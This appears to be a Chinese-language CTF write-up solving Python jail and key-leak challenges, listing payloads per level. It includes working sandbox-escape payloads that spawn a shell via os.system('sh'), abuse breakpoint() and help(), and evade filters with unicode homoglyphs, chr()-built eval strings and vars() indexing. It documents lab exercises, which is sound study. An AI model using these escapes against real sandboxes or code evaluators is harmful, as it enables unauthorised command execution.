Jail Level 0
题目描述:
1 | 祝大家能够玩得开心,成功逃离小C的pyjail! |
nc连接
查看源码
方法一:
1 | __import__("os").system("sh") |
方法二:
海象运算符
1 | (a:="__import__('os').system('sh')") |
第二次进去,a变量的值会保存,那么输入exec(a)或者eval(a)都可以拿到shell
方法三:
1 | breakpoint() |
最后flag为
1 | flag{Y0u_54ld-RighT_But_y0u_SHOuID-pLAy_g3N5hln_1MpaCT1} |
Jail Level 1
题目描述:
1 | 这里是level1 似乎比level0多了一些限制 指的是payload长度 |
nc连接查看源码
限制了长度
payload:
breakpoint()长度正好是12
1 | breakpoint() |
最后flag为
1 | flag{you-Sa1D-R1GHT-6Ut_Y0u_ShoULd-p1ay-gEn5H1N_imp4ct2} |
Jail Level 2
题目描述:
1 | 这里是level2 你能用比level1更短的payload解决这个挑战吗 |
nc连接查看源码
限制长度不能大于6
payload:
1 | help() |
最后flag为
1 | flag{y0u_s@ID_R1gHT-bUT-you_5hoU1d-Pl@Y_GENshIn_1mPaCt1} |
Jail Level 3
题目描述:
1 | 这里是level3 和level1有关 但是之前的payload不能直接工作 |
nc连接查看源码
方法一:使用非ascii码的breakpoint()
payload:
1 | breakpoint() |
方法二:对breakpoint()unicode编码
payload:
1 | 𝔟𝓻𝒆𝒶𝓴𝓹𝒐𝑖𝓷𝓽() |
最后flag为
1 | flag{you_s41D-RiGhT-6uT-Y0U-SHOUlD_PlAY-GEn5hln-1Mp4ct0} |
Jail Level 4
题目描述:
1 | 这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_? |
方法一:
1 | __import__('os').system('cat flag') |
方法二:
1 | open("flag").read() |
最后flag为
1 | flag{yOu-S@iD-R1GHt_6uT-you-sH0UlD_PIAy_G3n5Hln_1MpACt1} |
Jail Level 5
题目描述:
1 | 这里是level5 你似乎不能使用一些字符 你有办法解决他们吗 |
nc连接查看源码
方法一
padyload:
1 | vars(vars()[(*vars(),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]])[(*vars(vars()[(*vars(),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]]),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]]() |
方法二
payload:
1 | eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(115)+chr(104)+chr(34)+chr(41)) |
最后flag为
1 | flag{y0u_s@ld-RiGHT_bUT_YOU-5hou1D-P14Y_g3NshlN-iMpACt0} |
Jail Level 6
题目描述:
1 | 这里是level6 和level5有所不同 不能用的东西似乎更多了 |
nc连接查看源码
方法一
payload:
1 | vars(vars()[[*vars()][-9]])[[*vars(vars()[[*vars()][-9]])][12]]() |
方法二
payload:
1 | eval(str((CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[40],CHALLENGE_SOURCE_CODE[17],CHALLENGE_SOURCE_CODE[5],CHALLENGE_SOURCE_CODE[16],CHALLENGE_SOURCE_CODE[6],CHALLENGE_SOURCE_CODE[20],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[10],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[16],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[162],CHALLENGE_SOURCE_CODE[52],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[157],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[20],CHALLENGE_SOURCE_CODE[13],CHALLENGE_SOURCE_CODE[17],CHALLENGE_SOURCE_CODE[10],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[24],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[162]))[7::5]) |
最后flag为
1 | flag{yOU-5A1D_RlghT-bUt-YOU-5hoUId-pI@Y_g3NShiN_1MpacT0} |
Leak Level 0
题目描述:
1 | 欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单 |
源码
1 | fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" |
nc连接
第一步,v模式,code长度不超过9,指令还没被过滤掉。
第二步,b模式,输入key匹配正确后,便可随意输入。
查看环境变量,找到真正的key,再利用backdoor来getshell。
1 | 使用locals ()可以获取Python中的局部变量 |
选择b模式,输入key得到flag
最后flag为
1 | flag{WHy_@rE_YoU_PIaYIng_h@rUhik@g314d9128} |
Leak Level 1
题目描述:
1 | 这里是level1 比level0多了一些过滤 |
源码
1 | fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" |
通过v模式获取key,但v模式限制长度不超过6
payload:
1 | 𝓱𝒆𝒍𝓹() |
拿到key就能出flag了
最后flag为
1 | flag{WhY-Are-you_plAYiNg_H@rUH1k4G32062e56} |
Leak Level 2
题目描述:
1 | 这里是level2 比level1多了一些过滤 |
源码
1 | fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" |
不允许使用unicode编码绕过
但还是可以使用help()
还是用
1 | __main__ |
拿到key还是得到flag
最后flag为
1 | flag{WhY_ar3_YoU_PlaYiNG-HaRuhik@g320e7b06} |